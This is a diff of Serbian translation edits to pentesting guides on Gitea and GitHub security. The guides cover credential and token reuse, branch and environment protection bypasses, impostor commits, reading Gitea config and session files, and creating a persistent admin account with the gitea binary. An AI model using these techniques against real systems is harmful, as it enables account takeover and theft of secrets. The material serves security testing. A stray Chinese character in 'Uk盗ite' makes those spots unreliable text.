@@ -52,7 +52,7 @@ Imajte na umu da se **2FA može koristiti** tako da ćete moći da pristupite ov
Gitea omogućava **korisnicima** da postave **SSH ključeve** koji će se koristiti kao **metoda autentifikacije za implementaciju koda** u njihovo ime (2FA se ne primenjuje).
-Sa ovim ključem možete izvršiti **promene u repozitorijumima gde korisnik ima neka prava**, međutim ne možete ga koristiti za pristup gitea api da enumerišete okruženje. Međutim, možete **enumerisati lokalne postavke** da dobijete informacije o repozitorijumima i korisniku kojem imate pristup:
+Sa ovim ključem možete izvršiti **promene u repozitorijumima gde korisnik ima neka prava**, međutim ne možete ga koristiti za pristup gitea API-ju da enumerišete okruženje. Međutim, možete **enumerisati lokalne postavke** da dobijete informacije o repozitorijumima i korisniku kojem imate pristup:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
@@ -60,7 +60,7 @@ git config --list
```
Ako je korisnik konfigurisao svoje korisničko ime kao svoje gitea korisničko ime, možete pristupiti **javnim ključevima koje je postavio** na svom nalogu na _https://github.com/\.keys_, možete proveriti ovo da potvrdite da li se privatni ključ koji ste pronašli može koristiti.
-**SSH ključevi** se takođe mogu postaviti u repozitorijume kao **deploy ključevi**. Svako ko ima pristup ovom ključiću moći će da **pokrene projekte iz repozitorijuma**. Obično, na serveru sa različitim deploy ključevima, lokalna datoteka **`~/.ssh/config`** će vam dati informacije o tome kojem ključu pripada.
+**SSH ključevi** se takođe mogu postaviti u repozitorijume kao **deploy ključeve**. Svako ko ima pristup ovom ključu moći će da **pokrene projekte iz repozitorijuma**. Obično na serveru sa različitim deploy ključevima lokalna datoteka **`~/.ssh/config`** će vam dati informacije o tome kojem ključu pripada.
#### GPG Ključevi
@@ -74,22 +74,22 @@ gpg --list-secret-keys --keyid-format=long
Za uvod o [**korisničkim tokenima proverite osnovne informacije**](basic-gitea-information.md#personal-access-tokens).
-Korisnički token može biti korišćen **umesto lozinke** za **autentifikaciju** protiv Gitea servera [**putem API-ja**](https://try.gitea.io/api/swagger#/). Imaće **potpun pristup** korisniku.
+Korisnički token se može koristiti **umesto lozinke** za **autentifikaciju** protiv Gitea servera [**putem API-ja**](https://try.gitea.io/api/swagger#/). Imaće **potpun pristup** korisniku.
### Sa Oauth aplikacijom
Za uvod o [**Gitea Oauth aplikacijama proverite osnovne informacije**](./#with-oauth-application).
-Napadač može kreirati **malicious Oauth aplikaciju** da bi pristupio privilegovanim podacima/akcijama korisnika koji je verovatno prihvataju kao deo phishing kampanje.
+Napadač može kreirati **malicious Oauth aplikaciju** da bi pristupio privilegovanim podacima/akcijama korisnika koji ih verovatno prihvataju kao deo phishing kampanje.
Kao što je objašnjeno u osnovnim informacijama, aplikacija će imati **potpun pristup korisničkom nalogu**.
### Zaobilaženje zaštite grane
-U Github-u imamo **github akcije** koje po defaultu dobijaju **token sa pristupom za pisanje** nad repozitorijumom koji se može koristiti za **zaobilaženje zaštita grane**. U ovom slučaju to **ne postoji**, tako da su zaobilaženja ograničenija. Ali hajde da pogledamo šta može da se uradi:
+Na Github-u imamo **github akcije** koje po defaultu dobijaju **token sa pristupom za pisanje** na repozitorijum koji se može koristiti za **zaobilaženje zaštita grane**. U ovom slučaju to **ne postoji**, tako da su zaobilaženja ograničenija. Ali hajde da pogledamo šta može da se uradi:
- **Omogući Push**: Ako bilo ko sa pristupom za pisanje može da pošalje na granu, samo pošaljite na nju.
-- **Whitelist Restrict Pus**h: Na isti način, ako ste deo ove liste, pošaljite na granu.
+- **Whitelist Restricted Push**: Na isti način, ako ste deo ove liste, pošaljite na granu.
- **Omogući Merge Whitelist**: Ako postoji whitelist za spajanje, morate biti unutar nje.
- **Zahtevajte odobrenja veće od 0**: Tada... morate kompromitovati drugog korisnika.
- **Ograničite odobrenja na whitelisted**: Ako samo whitelisted korisnici mogu odobriti... morate kompromitovati drugog korisnika koji je unutar te liste.
@@ -97,7 +97,7 @@ U Github-u imamo **github akcije** koje po defaultu dobijaju **token sa pristupo
Napomena: **ako ste admin org/repo** možete zaobići zaštite.
-### Nabrajanje Webhook-ova
+### Enumeracija Webhook-ova
**Webhook-ovi** su sposobni da **pošalju specifične gitea informacije na neka mesta**. Možda ćete moći da **iskoristite tu komunikaciju**.\
Međutim, obično se postavlja **tajna** koju ne možete **dobiti** u **webhook-u** koja će **sprečiti** spoljne korisnike koji znaju URL webhook-a, ali ne i tajnu, da **iskoriste taj webhook**.\
@@ -109,20 +109,20 @@ Webhook-ovi se mogu postaviti na **repo i na org nivou**.
### Unutar servera
-Ako ste nekako uspeli da uđete u server na kojem Gitea radi, trebali biste potražiti Gitea konfiguracioni fajl. Po defaultu se nalazi u `/data/gitea/conf/app.ini`
+Ako ste nekako uspeli da uđete u server na kojem se gitea pokreće, trebali biste potražiti gitea konfiguracioni fajl. Po defaultu se nalazi u `/data/gitea/conf/app.ini`
U ovom fajlu možete pronaći **ključeve** i **lozinke**.
-U Gitea putanji (po defaultu: /data/gitea) možete pronaći i zanimljive informacije kao što su:
+U gitea putanji (po defaultu: /data/gitea) možete pronaći i zanimljive informacije kao što su:
-- **sqlite** DB: Ako Gitea ne koristi eksternu bazu podataka, koristiće sqlite bazu.
-- **sesije** unutar foldera sesija: Pokretanjem `cat sessions/*/*/*` možete videti korisnička imena prijavljenih korisnika (Gitea takođe može sačuvati sesije unutar DB-a).
+- **sqlite** DB: Ako gitea ne koristi eksternu bazu podataka, koristiće sqlite bazu.
+- **sesije** unutar foldera sesija: Pokretanjem `cat sessions/*/*/*` možete videti korisnička imena prijavljenih korisnika (gitea takođe može sačuvati sesije unutar DB).
- **jwt privatni ključ** unutar jwt foldera.
- Više **osetljivih informacija** može se pronaći u ovom folderu.
-Ako ste unutar servera, možete takođe **koristiti `gitea` binarni fajl** za pristup/modifikaciju informacija:
+Ako ste unutar servera, takođe možete **koristiti `gitea` binarni fajl** za pristup/modifikaciju informacija:
-- `gitea dump` će dumpovati Gitea i generisati .zip fajl.
+- `gitea dump` će dumpovati gitea i generisati .zip fajl.
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` će generisati token naznačenog tipa (persistence).
- `gitea admin user change-password --username admin --password newpassword` promenite lozinku.
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` kreirajte novog admin korisnika i dobijte pristupni token.
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index 962e569c9..c06d532cc 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -6,7 +6,7 @@
Osnovna struktura Gitea okruženja je grupisanje repozitorijuma po **organizacijama**, svaka od njih može sadržati **several repositories** i **several teams**. Međutim, imajte na umu da, kao i na github-u, korisnici mogu imati repozitorijume van organizacije.
-Štaviše, **korisnik** može biti **član** **različitih organizacija**. Unutar organizacije korisnik može imati **različite dozvole za svaki repozitorijum**.
+Štaviše, **korisnik** može biti **član** **različitih organizacija**. Unutar organizacije, korisnik može imati **različite dozvole za svaki repozitorijum**.
Korisnik može biti i **deo različitih timova** sa različitim dozvolama za različite repozitorijume.
@@ -16,15 +16,15 @@ I konačno, **repozitorijumi mogu imati posebne mehanizme zaštite**.
### Organizacije
-Kada se **organizacija kreira**, tim pod nazivom **Vlasnici** se **kreira** i korisnik se stavlja unutra. Ovaj tim će dati **admin pristup** nad **organizacijom**, te **dozvole** i **ime** tima **se ne mogu menjati**.
+Kada se **organizacija kreira**, tim pod nazivom **Owners** se **kreira** i korisnik se stavlja unutar njega. Ovaj tim će dati **admin pristup** nad **organizacijom**, te **dozvole** i **ime** tima **se ne mogu menjati**.
-**Org admini** (vlasnici) mogu odabrati **vidljivost** organizacije:
+**Org admins** (vlasnici) mogu odabrati **vidljivost** organizacije:
- Javno
- Ograničeno (samo prijavljeni korisnici)
- Privatno (samo članovi)
-**Org admini** takođe mogu naznačiti da li **repo admini** mogu **dodavati ili uklanjati pristup** za timove. Takođe mogu naznačiti maksimalan broj repozitorijuma.
+**Org admins** takođe mogu naznačiti da li **repo admins** mogu **dodavati ili uklanjati pristup** za timove. Takođe mogu naznačiti maksimalan broj repozitorijuma.
Kada se kreira novi tim, biraju se nekoliko važnih podešavanja:
@@ -36,9 +36,9 @@ Kada se kreira novi tim, biraju se nekoliko važnih podešavanja:
.png>)
-### Timovi i Korisnici
+### Timovi & Korisnici
-U repozitorijumu, **org admin** i **repo admini** (ako to dozvoljava org) mogu **upravljati ulogama** dodeljenim saradnicima (drugim korisnicima) i timovima. Postoje **3** moguće **uloge**:
+U repozitorijumu, **org admin** i **repo admins** (ako to dozvoljava org) mogu **upravljati ulogama** dodeljenim saradnicima (drugim korisnicima) i timovima. Postoje **3** moguće **uloge**:
- Administrator
- Pisanje
@@ -64,13 +64,13 @@ Možete generisati lični pristupni token da **dajte aplikaciji pristup vašem n
### Oauth Aplikacije
-Baš kao lični pristupni tokeni, **Oauth aplikacije** će imati **potpun pristup** vašem nalogu i mestima kojima vaš nalog ima pristup, jer, kao što je naznačeno u [dokumentaciji](https://docs.gitea.io/en-us/oauth2-provider/#scopes), opsezi još nisu podržani:
+Baš kao lični pristupni tokeni, **Oauth aplikacije** će imati **potpun pristup** vašem nalogu i mestima kojima vaš nalog ima pristup, jer, kao što je naznačeno u [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), opsezi još nisu podržani:
.png>)
-### Ključevi za Deploy
+### Ključevi za Implementaciju
-Ključevi za deploy mogu imati pristup samo za čitanje ili pisanje repozitorijumu, tako da mogu biti zanimljivi za kompromitovanje specifičnih repozitorijuma.
+Ključevi za implementaciju mogu imati pristup samo za čitanje ili pisanje repozitorijumu, tako da mogu biti zanimljivi za kompromitovanje specifičnih repozitorijuma.
## Zaštite Grana
@@ -85,8 +85,8 @@ Različite zaštite mogu se primeniti na granu (kao na master):
- **Onemogući Push**: Niko ne može da pošalje na ovu granu
- **Omogući Push**: Svako ko ima pristup može da pošalje, ali ne može da forsira push.
-- **Whitelist Ograničen Push**: Samo odabrani korisnici/timovi mogu da pošalju na ovu granu (ali ne može forsirati push)
-- **Omogući Merge Whitelist**: Samo korisnici/timovi sa liste mogu da spoje PR-ove.
+- **Whitelist Ograničen Push**: Samo odabrani korisnici/timovi mogu da pošalju na ovu granu (ali ne i forsirati push)
+- **Omogući Merge Whitelist**: Samo korisnici/timovi sa liste mogu da spajaju PR-ove.
- **Omogući Status provere:** Zahteva da provere statusa prođu pre spajanja.
- **Zahteva odobrenja**: Naznačite broj odobrenja potrebnih pre nego što se PR može spojiti.
- **Ograniči odobrenja na belu listu**: Naznačite korisnike/timove koji mogu odobriti PR-ove.
@@ -95,9 +95,9 @@ Različite zaštite mogu se primeniti na granu (kao na master):
- **Odbaci zastarele odobrenja**: Kada su novi commit-i, stara odobrenja će biti odbijena.
- **Zahteva Potpisane Commit-e**: Commit-i moraju biti potpisani.
- **Blokiraj spajanje ako je pull request zastareo**
-- **Zaštićeni/Nezaštićeni obrasci datoteka**: Naznačite obrasce datoteka za zaštitu/nezaštitu od izmena
+- **Zaštićeni/Nezaštićeni obrasci datoteka**: Naznačite obrasce datoteka koje treba zaštititi/nezaštititi od izmena
> [!NOTE]
-> Kao što možete videti, čak i ako ste uspeli da dobijete neka akreditivna sredstva korisnika, **repozitorijumi mogu biti zaštićeni sprečavajući vas da šaljete kod na master**, na primer, da kompromitujete CI/CD pipeline.
+> Kao što možete videti, čak i ako ste uspeli da dobijete neka akreditivna sredstva korisnika, **repozitorijumi mogu biti zaštićeni sprečavajući vas da šaljete kod na master**, na primer, da biste kompromitovali CI/CD pipeline.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index 3a2212561..83b1e4846 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -12,15 +12,15 @@
basic-github-information.md
{{#endref}}
-## Spoljašnje istraživanje
+## Spoljna rekognosciranja
Github repozitorijumi mogu biti konfigurisani kao javni, privatni i interni.
- **Privatni** znači da će **samo** ljudi iz **organizacije** moći da im pristupe
- **Interni** znači da će **samo** ljudi iz **preduzeća** (preduzeće može imati nekoliko organizacija) moći da mu pristupe
-- **Javni** znači da će **svi na internetu** moći da mu pristupe.
+- **Javni** znači da će **sva internet** moći da mu pristupi.
-U slučaju da znate **korisnika, repozitorijum ili organizaciju koju želite da ciljate**, možete koristiti **github dorks** da pronađete osetljive informacije ili pretražujete **curenja osetljivih informacija** **u svakom repozitorijumu**.
+U slučaju da znate **korisnika, repozitorijum ili organizaciju koju želite da ciljate**, možete koristiti **github dorks** da pronađete osetljive informacije ili pretražujete **curenje osetljivih informacija** **u svakom repozitorijumu**.
### Github Dorks
@@ -28,13 +28,13 @@ Github omogućava da **pretražujete nešto specificirajući kao opseg korisnika
Alati (svaki alat sadrži svoju listu dorks):
-- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Lista Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks))
-- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Lista Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
-- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Lista Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
+- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
+- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
+- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
### Github Curenja
-Molimo vas, imajte na umu da su github dorks takođe namenjeni pretraživanju curenja koristeći github opcije pretrage. Ova sekcija je posvećena onim alatima koji će **preuzeti svaki repozitorijum i pretražiti osetljive informacije u njima** (čak proveravajući određenu dubinu commit-a).
+Molimo vas, imajte na umu da su github dorks takođe namenjeni pretraživanju curenja koristeći opcije pretrage na github-u. Ova sekcija je posvećena onim alatima koji će **preuzeti svaki repozitorijum i pretražiti osetljive informacije u njima** (čak proveravajući određenu dubinu commit-a).
Alati (svaki alat sadrži svoju listu regex-a):
@@ -49,7 +49,7 @@ Alati (svaki alat sadrži svoju listu regex-a):
> [!WARNING]
> Kada tražite curenja u repozitorijumu i pokrenete nešto poput `git log -p`, ne zaboravite da mogu postojati **druge grane sa drugim commit-ima** koje sadrže tajne!
-### Spoljašnji Forkovi
+### Spoljni Forkovi
Moguće je **kompromitovati repozitorijume zloupotrebom pull zahteva**. Da biste znali da li je repozitorijum ranjiv, uglavnom treba da pročitate Github Actions yaml konfiguracije. [**Više informacija o ovome u nastavku**](./#execution-from-a-external-fork).
@@ -70,14 +70,14 @@ Postoje neke **podrazumevane privilegije** koje se mogu dodeliti **članovima**
- **Osnovne dozvole**: Članovi će imati dozvolu None/Read/write/Admin za repozitorijume organizacije. Preporučuje se **None** ili **Read**.
- **Forkovanje repozitorijuma**: Ako nije neophodno, bolje je **ne dozvoliti** članovima da fork-uju repozitorijume organizacije.
- **Kreiranje stranica**: Ako nije neophodno, bolje je **ne dozvoliti** članovima da objavljuju stranice iz repozitorijuma organizacije. Ako je neophodno, možete dozvoliti kreiranje javnih ili privatnih stranica.
-- **Zahtevi za pristup integraciji**: Sa ovim omogućeno, spoljnim saradnicima će biti omogućeno da zatraže pristup za GitHub ili OAuth aplikacije da pristupe ovoj organizaciji i njenim resursima. Obično je potrebno, ali ako nije, bolje je onemogućiti to.
-- _Nisam mogao pronaći ove informacije u API odgovoru, podelite ako ih pronađete_
+- **Zahtevi za pristup integracijama**: Sa ovim omogućeno, spoljnim saradnicima će biti omogućeno da zatraže pristup za GitHub ili OAuth aplikacije da pristupe ovoj organizaciji i njenim resursima. Obično je potrebno, ali ako nije, bolje je onemogućiti to.
+- _Nisam mogao pronaći ove informacije u odgovoru API-a, podelite ako ih pronađete_
- **Promena vidljivosti repozitorijuma**: Ako je omogućeno, **članovi** sa **admin** dozvolama za **repozitorijum** će moći da **promene njegovu vidljivost**. Ako je onemogućeno, samo vlasnici organizacije mogu menjati vidljivosti repozitorijuma. Ako ne želite da ljudi učine stvari **javnim**, uverite se da je ovo **onemogućeno**.
-- _Nisam mogao pronaći ove informacije u API odgovoru, podelite ako ih pronađete_
-- **Brisanje i prenos repozitorijuma**: Ako je omogućeno, članovi sa **admin** dozvolama za repozitorijum će moći da **obrišu** ili **prenose** javne i privatne **repozitorijume**.
-- _Nisam mogao pronaći ove informacije u API odgovoru, podelite ako ih pronađete_
+- _Nisam mogao pronaći ove informacije u odgovoru API-a, podelite ako ih pronađete_
+- **Brisanje i prenos repozitorijuma**: Ako je omogućeno, članovi sa **admin** dozvolama za repozitorijum će moći da **obrišu** ili **prenose** javne i privatne **repozitorijume.**
+- _Nisam mogao pronaći ove informacije u odgovoru API-a, podelite ako ih pronađete_
- **Dozvoliti članovima da kreiraju timove**: Ako je omogućeno, svaki **član** organizacije će moći da **kreira** nove **timove**. Ako je onemogućeno, samo vlasnici organizacije mogu kreirati nove timove. Bolje je da ovo bude onemogućeno.
-- _Nisam mogao pronaći ove informacije u API odgovoru, podelite ako ih pronađete_
+- _Nisam mogao pronaći ove informacije u odgovoru API-a, podelite ako ih pronađete_
- **Još stvari se mogu konfigurisati** na ovoj stranici, ali prethodne su one koje su više vezane za bezbednost.
### Podešavanja akcija
@@ -93,30 +93,30 @@ Nekoliko podešavanja vezanih za bezbednost može se konfigurisati za akcije sa
- _Nisam mogao pronaći API sa ovim informacijama, podelite ako ih pronađete_
- **Pokretanje radnih tokova iz fork pull zahteva**: Veoma je **nepreporučljivo pokretati radne tokove iz pull zahteva** jer će održavaoci fork porekla dobiti mogućnost korišćenja tokena sa dozvolama za čitanje na izvorni repozitorijum.
- _Nisam mogao pronaći API sa ovim informacijama, podelite ako ih pronađete_
-- **Dozvole radnog toka**: Veoma se preporučuje da **samo date dozvole za čitanje repozitorijuma**. Ne preporučuje se davanje dozvola za pisanje i kreiranje/odobravanje pull zahteva kako bi se izbegla zloupotreba GITHUB_TOKEN-a datog pokrenutim radnim tokovima.
+- **Dozvole radnog toka**: Veoma se preporučuje da **samo date dozvole za čitanje repozitorijuma**. Ne preporučuje se davanje dozvola za pisanje i kreiranje/odobravanje pull zahteva kako bi se izbegla zloupotreba GITHUB_TOKEN-a datog za pokretanje radnih tokova.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integracije
_Javite mi ako znate API krajnju tačku za pristup ovim informacijama!_
-- **Politika pristupa aplikacijama trećih strana**: Preporučuje se ograničiti pristup svakoj aplikaciji i dozvoliti samo potrebne (nakon pregleda).
+- **Politika pristupa aplikacijama trećih strana**: Preporučuje se ograničavanje pristupa svakoj aplikaciji i dozvoliti samo potrebne (nakon pregleda).
- **Instalirane GitHub aplikacije**: Preporučuje se dozvoliti samo potrebne (nakon pregleda).
-## Istraživanje i napadi zloupotrebom kredencijala
+## Rekognosciranje i napadi zloupotrebom kredencijala
Za ovaj scenario pretpostavićemo da ste dobili neki pristup github nalogu.
### Sa korisničkim kredencijalima
-Ako nekako već imate kredencijale za korisnika unutar organizacije, možete **samo da se prijavite** i proverite koje **preduzetničke i organizacione uloge imate**, ako ste običan član, proverite koje **dozvole imaju obični članovi**, u kojim **grupama** ste, koje **dozvole imate** nad kojim **repozitorijumima** i **kako su repozitorijumi zaštićeni**.
+Ako nekako već imate kredencijale za korisnika unutar organizacije, možete **samo da se prijavite** i proverite koje **preduzetničke i organizacione uloge imate**, ako ste običan član, proverite koje **dozvole obični članovi imaju**, u kojim **grupama** ste, koje **dozvole imate** nad kojim **repozitorijumima,** i **kako su repozitorijumi zaštićeni.**
Imajte na umu da se **2FA može koristiti** tako da ćete moći da pristupite ovim informacijama samo ako takođe možete **proći tu proveru**.
> [!NOTE]
> Imajte na umu da ako **uspete da ukradete `user_session` kolačić** (trenutno konfigurisano sa SameSite: Lax) možete **potpuno imitirati korisnika** bez potrebe za kredencijalima ili 2FA.
-Proverite odeljak u nastavku o [**zaobilaznicama zaštite grana**](./#branch-protection-bypass) u slučaju da je korisno.
+Proverite odeljak ispod o [**zaobilaznicama zaštite grana**](./#branch-protection-bypass) u slučaju da je korisno.
### Sa korisničkim SSH ključem
@@ -130,7 +130,7 @@ git config --list
```
Ako je korisnik konfigurisao svoje korisničko ime kao svoje github korisničko ime, možete pristupiti **javnim ključevima koje je postavio** na svom nalogu na _https://github.com/\.keys_, možete proveriti ovo da potvrdite da li se privatni ključ koji ste pronašli može koristiti.
-**SSH ključevi** se takođe mogu postaviti u repozitorijume kao **deploy ključevi**. Svako ko ima pristup ovom ključiću moći će da **pokrene projekte iz repozitorijuma**. Obično, na serveru sa različitim deploy ključevima, lokalna datoteka **`~/.ssh/config`** će vam dati informacije o tome kojem ključu se odnosi.
+**SSH ključevi** se takođe mogu postaviti u repozitorijume kao **deploy ključevi**. Svako ko ima pristup ovom ključu moći će da **pokrene projekte iz repozitorijuma**. Obično na serveru sa različitim deploy ključevima lokalna datoteka **`~/.ssh/config`** će vam dati informacije o tome kojem ključu se odnosi.
#### GPG Ključevi
@@ -144,7 +144,7 @@ gpg --list-secret-keys --keyid-format=long
Za uvod o [**korisničkim tokenima proverite osnovne informacije**](basic-github-information.md#personal-access-tokens).
-Korisnički token može biti korišćen **umesto lozinke** za Git preko HTTPS-a, ili može biti korišćen za [**autentifikaciju na API preko osnovne autentifikacije**](https://docs.github.com/v3/auth/#basic-authentication). U zavisnosti od privilegija koje su mu dodeljene, možda ćete moći da izvršite različite radnje.
+Korisnički token može biti korišćen **umesto lozinke** za Git preko HTTPS-a, ili može biti korišćen za [**autentifikaciju na API preko osnovne autentifikacije**](https://docs.github.com/v3/auth/#basic-authentication). U zavisnosti od privilegija koje su mu pridružene, možda ćete moći da izvršite različite radnje.
Korisnički token izgleda ovako: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
@@ -154,7 +154,7 @@ Za uvod o [**Github Oauth aplikacijama proverite osnovne informacije**](basic-gi
Napadač može kreirati **malicious Oauth aplikaciju** da bi pristupio privilegovanim podacima/radnjama korisnika koji je prihvataju verovatno kao deo phishing kampanje.
-Ovo su [opsegovi koje Oauth aplikacija može zatražiti](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Uvek treba proveriti tražene opsegove pre nego što ih prihvatite.
+Ovo su [opsezi koje Oauth aplikacija može zatražiti](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Uvek treba proveriti opsege koji se traže pre nego što ih prihvatite.
Pored toga, kao što je objašnjeno u osnovnim informacijama, **organizacije mogu dati/oduzeti pristup trećim aplikacijama** informacijama/repozitorijima/radnjama vezanim za organizaciju.
@@ -174,7 +174,7 @@ Postoji nekoliko tehnika za kompromitovanje i zloupotrebu Github akcije, proveri
abusing-github-actions/
{{#endref}}
-## Obilaženje zaštite grane
+## Zaobilaženje zaštite grane
- **Zahtevajte određeni broj odobrenja**: Ako ste kompromitovali nekoliko naloga, možete jednostavno prihvatiti svoje PR-ove iz drugih naloga. Ako imate samo nalog sa kojeg ste kreirali PR, ne možete prihvatiti svoj PR. Međutim, ako imate pristup **Github Action** okruženju unutar repozitorijuma, koristeći **GITHUB_TOKEN** možda ćete moći da **odobrite svoj PR** i dobijete 1 odobrenje na ovaj način.
- _Napomena za ovo i za ograničenje vlasnika koda da obično korisnik neće moći da odobri svoje PR-ove, ali ako možete, možete to zloupotrebiti da prihvatite svoje PR-ove._
@@ -183,16 +183,16 @@ abusing-github-actions/
- Kada je **CODEOWNER datoteka pogrešno konfigurisana**, Github se ne žali, ali je ne koristi. Stoga, ako je pogrešno konfigurisana, **zaštita vlasnika koda nije primenjena.**
- **Dozvolite određenim akterima da zaobiđu zahteve za povlačenje**: Ako ste jedan od ovih aktera, možete zaobići zaštitu zahteva za povlačenje.
- **Uključite administratore**: Ako ovo nije postavljeno i vi ste administrator repozitorijuma, možete zaobići ovu zaštitu grane.
-- **PR otmica**: Možda ćete moći da **modifikujete PR nekog drugog** dodajući maliciozni kod, odobravajući rezultantni PR sami i spajajući sve.
-- **Uklanjanje zaštite grane**: Ako ste **administrator repozitorijuma, možete onemogućiti zaštite**, spojiti svoj PR i ponovo postaviti zaštite.
-- **Obilaženje zaštita za slanje**: Ako repozitorijum **samo dozvoljava određenim korisnicima** da šalju push (spajaju kod) u granama (zaštita grane može štititi sve grane specificirajući wildcard `*`).
+- **PR otmica**: Možete biti u mogućnosti da **modifikujete PR nekog drugog** dodajući maliciozni kod, odobravajući rezultantni PR sami i spajajući sve.
+- **Uklanjanje zaštita grane**: Ako ste **administrator repozitorijuma, možete onemogućiti zaštite**, spojiti svoj PR i ponovo postaviti zaštite.
+- **Zaobilaženje zaštita za slanje**: Ako repozitorijum **samo dozvoljava određenim korisnicima** da šalju push (spajaju kod) u granama (zaštita grane može štititi sve grane specificirajući wildcard `*`).
- Ako imate **pristup pisanju u repozitorijumu, ali vam nije dozvoljeno da šaljete kod** zbog zaštite grane, još uvek možete **napraviti novu granu** i unutar nje kreirati **github akciju koja se aktivira kada se kod pošalje**. Kako **zaštita grane neće štititi granu dok ne bude kreirana**, ovo prvo slanje koda u granu će **izvršiti github akciju**.
-## Obilaženje zaštita okruženja
+## Zaobilaženje zaštita okruženja
Za uvod o [**Github okruženju proverite osnovne informacije**](basic-github-information.md#git-environments).
-U slučaju da se okruženje može **pristupiti sa svih grana**, **nije zaštićeno** i možete lako pristupiti tajnama unutar okruženja. Imajte na umu da možete pronaći repozitorijume gde su **sve grane zaštićene** (specifikovanjem njihovih imena ili korišćenjem `*`), u tom scenariju, **pronađite granu u kojoj možete poslati kod** i možete **izvući** tajne kreirajući novu github akciju (ili modifikujući jednu).
+U slučaju da okruženje može biti **pristupano sa svih grana**, **nije zaštićeno** i lako možete pristupiti tajnama unutar okruženja. Imajte na umu da možete naići na repozitorijume gde su **sve grane zaštićene** (specifikovanjem njihovih imena ili korišćenjem `*`), u tom scenariju, **pronađite granu u koju možete poslati kod** i možete **izvući** tajne kreiranjem nove github akcije (ili modifikovanjem jedne).
Napomena, možete naići na ivicu slučaja gde su **sve grane zaštićene** (putem wildcard `*`) i specificirano je **ko može slati kod u grane** (_to možete specificirati u zaštiti grane_) i **vašem korisniku nije dozvoljeno**. I dalje možete pokrenuti prilagođenu github akciju jer možete kreirati granu i koristiti okidač za slanje preko nje same. **Zaštita grane dozvoljava slanje u novu granu, tako da će github akcija biti aktivirana**.
```yaml
@@ -200,12 +200,12 @@ push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
-Napomena da će se **nakon kreiranja** grane **zaštita grane primeniti na novu granu** i nećete moći da je izmenite, ali do tada ćete već izvući tajne.
+Napomena da će se **nakon kreiranja** grane **zaštita grane primeniti na novu granu** i nećete moći da je izmenite, ali ćete u tom trenutku već imati izvučene tajne.
## Persistencija
- Generišite **korisnički token**
-- Ukradite **github tokene** iz **tajni**
+- Uk盗ite **github tokene** iz **tajni**
- **Brisanje** rezultata **workflow-a** i **grana**
- Dajte **više dozvola celoj organizaciji**
- Kreirajte **webhook-ove** za exfiltraciju informacija
@@ -216,7 +216,7 @@ Napomena da će se **nakon kreiranja** grane **zaštita grane primeniti na novu
### Impostor Commit-ovi - Bekdoor putem repo commit-ova
-U Github-u je moguće **napraviti PR za repo iz forka**. Čak i ako PR **nije prihvaćen**, **commit** id unutar originalnog repoa će biti kreiran za fork verziju koda. Stoga, napadač **može da se oslanja na korišćenje specifičnog commit-a iz naizgled legitimnog repoa koji nije kreirao vlasnik repoa**.
+U Github-u je moguće **napraviti PR za repo iz forka**. Čak i ako PR **nije prihvaćen**, **commit** id unutar originalnog repoa će biti kreiran za fork verziju koda. Stoga, napadač **može da se oslanja na korišćenje specifičnog commita iz naizgled legitimnog repoa koji nije kreirao vlasnik repoa**.
Kao [**ovaj**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index 470efff7b..2e31d320c 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -7,22 +7,22 @@
Na ovoj stranici ćete pronaći:
- **rezime svih uticaja** napadača koji uspe da pristupi Github Action
-- Različite načine za **pristup akciji**:
+- Različite načine da **dobijete pristup akciji**:
- Imajući **dozvole** za kreiranje akcije
- Zloupotreba **okidača** povezanih sa pull request-om
- Zloupotreba **drugih tehnika spoljnog pristupa**
- **Pivotiranje** iz već kompromitovanog repozitorijuma
-- Na kraju, odeljak o **tehnikama post-eksploatacije za zloupotrebu akcije iznutra** (uzrokovanje pomenutih uticaja)
+- Na kraju, odeljak o **tehnikama post-ekspolatacije za zloupotrebu akcije iznutra** (zbog pomenutih uticaja)
## Impacts Summary
Za uvod o [**Github Actions proverite osnovne informacije**](../basic-github-information.md#github-actions).
-Ako možete **izvršiti proizvoljni kod u GitHub Actions** unutar **repozitorijuma**, možda ćete moći da:
+Ako možete da **izvršite proizvoljan kod u GitHub Actions** unutar **repozitorijuma**, možda ćete moći da:
- **Uk盗ite tajne** montirane na pipeline i **zloupotrebite privilegije pipeline-a** da dobijete neovlašćen pristup spoljnim platformama, kao što su AWS i GCP.
